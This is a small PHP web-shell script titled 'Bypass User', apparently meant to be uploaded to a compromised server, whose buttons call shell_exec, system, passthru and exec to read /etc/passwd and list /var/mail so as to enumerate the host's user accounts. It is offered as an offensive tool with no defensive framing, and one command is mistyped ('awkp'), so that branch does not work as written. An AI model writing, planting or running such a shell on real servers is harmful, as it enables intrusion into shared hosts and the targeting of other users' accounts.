Bypass User

<? echo"<title>ByPass User</title><body bgcolor=silver><center><a href=http://azzatssinz.tumblr.com><img src=http://azzat.wap.mu/files/1049320/assassin_s_creed_iv_black_flag.png></a><br><br><form method=post><input type=submit name=awkp value=AWK PROGRAM><input type=submit name=syst value=SYSTEM FUNCTION><input type=submit name=passth value=PASSTHRU><input type=submit name=ex value=EXEC FUNCTION><input type=submit name=shex value=SHELL_EXEC></form>"; /*Awk Program*/ if($_POST['awkp']){
 echo"<textarea cols='60' rows='40'>";
echo shell_exec("awkp -F: '{ print $1 }' /etc/passwd | sort");
echo"</textarea><br>";
} /*System Function*/ if($_POST['syst']){
 echo"<textarea cols='60' rows='40'>";
echo system("ls /var/mail");
echo"</textarea><br>";
}
/*Passthru Function*/ if($_POST['passth']){
 echo"<textarea cols='60' rows='40'>";
echo passthru("ls /var/mail");
echo"</textarea><br>";
} /*exec Function*/
 if($_POST['ex']){
 echo"<textarea cols='60' rows='40'>";
echo exec("ls /var/mail");
echo"</textarea><br>";
}
 /*shell_exec Function*/ if($_POST['shex']){
 echo"<textarea cols='60' rows='40'>";
echo shell_exec("ls /var/mail");
echo"</textarea><br>";
}
echo"</center></body>";?>